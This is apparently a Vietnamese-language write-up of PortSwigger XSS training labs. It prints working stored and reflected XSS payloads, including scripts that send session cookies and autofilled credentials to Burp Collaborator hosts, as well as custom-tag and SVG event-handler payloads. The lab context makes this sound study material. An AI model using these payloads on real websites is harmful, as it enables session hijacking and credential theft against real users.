- Lab này chứa lỗ hổng stored XSS ở chức năng comment. Nạn nhân sẽ xem tất cả comment được đăng lên, để solve lab thì em cần khai thác lỗ hổng nhắm chiếm được session cookie của nạn nhân, và dùng nó để đóng giả làm nạn nhân
- Đầu tiên em sẽ xem xét chức năng comment của trang web và cách xử lý chúng với comment `a` của em:
```htmlembedded!=
<section class="comment">
<p>
<img src="/resources/images/avatarDefault.svg" class="avatar">                            
<a id="author" href="http://www.a.com/">a</a> | 08 August 2023
</p>
<p>a</p>
<p></p>
```
- Như ta có thể thấy nội dung sẽ được hiện ở thẻ `<p>`, nên em sẽ XSS vào phần nội dung, em thử XSS và đã thành công:
![](https://hackmd.io/_uploads/Sy4uuvJhn.png)
- Ta đã biết chỗ để inject XSS, giờ là lúc để đi tìm payload để lấy được cookie của nạn nhân:
- Em sẽ sử dụng payload: `<script>fetch("http://b3fj5jwxv14l8szej06isup4avgm4es3.oastify.com/?"+document.cookie)</script>`, với việc fetch đến trang web collaborator ở BurpSuite, rồi cộng chuỗi là biến `document.cookie`, sau đó em đưa payload này vào phần nội dung comment, giờ chỉ cần rung đùi ngồi đợi response thôi:
![](https://hackmd.io/_uploads/rJvJAvkh2.png)
- Đã có response từ địa chỉ **34.251.122.40**(trong sú vãi vì địa chỉ của em là 104), em tiến vào xem và thấy ngay phần session của user đã lộ ra và nó là: `rmvlkWdVlQzoKpmRxVou1oiiUAEw8qpC`, giờ em sẽ thay nó vào session của em và F5 lại trang:
![](https://hackmd.io/_uploads/HJmxADyhh.png)
- Như vậy em đã ăn cắp thành công sesion của admin và solve được lab này:
![](https://hackmd.io/_uploads/Bke1APk2h.png)

## 21. Lab: Exploiting cross-site scripting to capture passwords
![](https://hackmd.io/_uploads/BJiFmd1n2.png)
- Lab trên chứa lỗ hổng stored XSS ở chức năng bình luận, nạn nhân sẽ xem tất cả comment được đăng, để solve lab này thì em cần khai thác lỗ hổng để lấy username và password của nạn nhân và lấy nó để đăng nhập vào tài khoản của nạn nhân:
- Mục tiêu XSS vẫn sẽ là ở chỗ nội dung comment, giờ em sẽ đi tìm cách nào để lấy được tài khoản của nạn nhân thông qua XSS:
![](https://hackmd.io/_uploads/Hyg1L_kn3.png)
- Như PortSwigger đã hướng dẫn, payload sẽ dựa vào việc tạo ra input giả để người dùng sử dụng password autofill để nhập vào, sau đó lấy giá trị của nó để gửi về Collaborator, cụ thể là:
```htmlembedded
<input name=username id=username>
<input type=password name=password onchange="if(this.value.length)fetch('https://kl9snse6damuq1hn19ora37ds4ywmmab.oastify.com',{
method:'POST',
body:username.value+'|'+this.value
});">
```
- Ở đây em tạo ra 2 input là username và password nhằm lấy thông tin, nếu password có độ dài thì gửi về cho em giá trị của username(username.value) và giá trị của password(this.value), ngăn cách nhau với dấu `|`
- Comment đoạn script này rồi ngồi đợi response ở Collaborator thui:
![](https://hackmd.io/_uploads/HkEmKOk32.png)
- Sau một hồi chờ đợi thì tài khoản đã về, đăng nhập với username: `administrator` và password: `rsnq6at26mwvoow7h6d7` và em đã solve được lab này:
![](https://hackmd.io/_uploads/SkvjtO1nn.png)

## 22. Lab: Reflected XSS into HTML context with all tags blocked except custom ones
![](https://hackmd.io/_uploads/SkFMrLvn3.png)
- Lab này chặn tất cả các HTML tags ngoại trừ tag custom
- Để solve lab thì em cần thực hiện XSS để truyền vào một custom tag với việc tự động alert ra `document.cookie`
- Sau khi đi tìm payload thì em đã có payload làm trang web xổ ra `document.cookie`: `<xss autofocus tabindex=1 onfocus=alert(document.cookie)></xss>`, payload này sẽ auto alert ra vì khi bị focus payload sẽ alert.
![](https://hackmd.io/_uploads/SJA4lDv23.png)
- Tiếp đến là làm như thế nào để victim bị, thì em đã nghĩ đến việc điều hướng của thẻ script, sử dụng window.location để trang web điều hướng sang payload: `<script>window.location.href="https://0aed002004c77c98804b857d009f0050.web-security-academy.net/?search=<xss+autofocus+tabindex=1+onfocus=alert(document.cookie)></xss>"</script>`
- Đưa payload vào body, store và send to victim và em đã solve được lab: 
![](https://hackmd.io/_uploads/BkjAMPwhn.png)

## 23. Lab: Reflected XSS with some SVG markup allowed
![](https://hackmd.io/_uploads/ByRd7DDnn.png)
- Lab này chứa lỗ hổng reflected XSS, nó chặn các tag phổ biến nhưng quên mất vài SVG tags và events. Để solve lab, thực hiện chức năng alert()
- Vì đề bài đã hướng dẫn nên em sẽ đi tìm kiếm XSS thông qua tag svg ở [PayloadAllTheThing](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#common-payloads) và [XSSCheatSheet](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
- Sau khi thử các tag của **svg**, **svg->animate**, **svg->animatemotion**, thì payload đúng là của tag **svg->animatetransform**:
![](https://hackmd.io/_uploads/HJy4Owv32.png)
- Với payload: `<svg><animatetransform onbegin=alert(1) attributeName=transform>`, em đã alert thành công:
![](https://hackmd.io/_uploads/r1WP_vwh3.png)
![](https://hackmd.io/_uploads/Hkqw_Pwnn.png)

## 24. Lab: Exploiting XSS to perform CSRF
![](https://hackmd.io/_uploads/SkiQFvDn2.png)
- Trang web này có chứa lỗi stored XSS ở chức năng comment, để solve lab em cần khai thác lỗ hổng để thực hiện tấn công CSRF nhằm đổi email của người xem blog post đó
- Em được cấp tài khoản của bản thân: `wiener:peter`
- Ta có thể XSS vào phần nội dung của comment:
![](https://hackmd.io/_uploads/Bk7L0Pv3n.png)
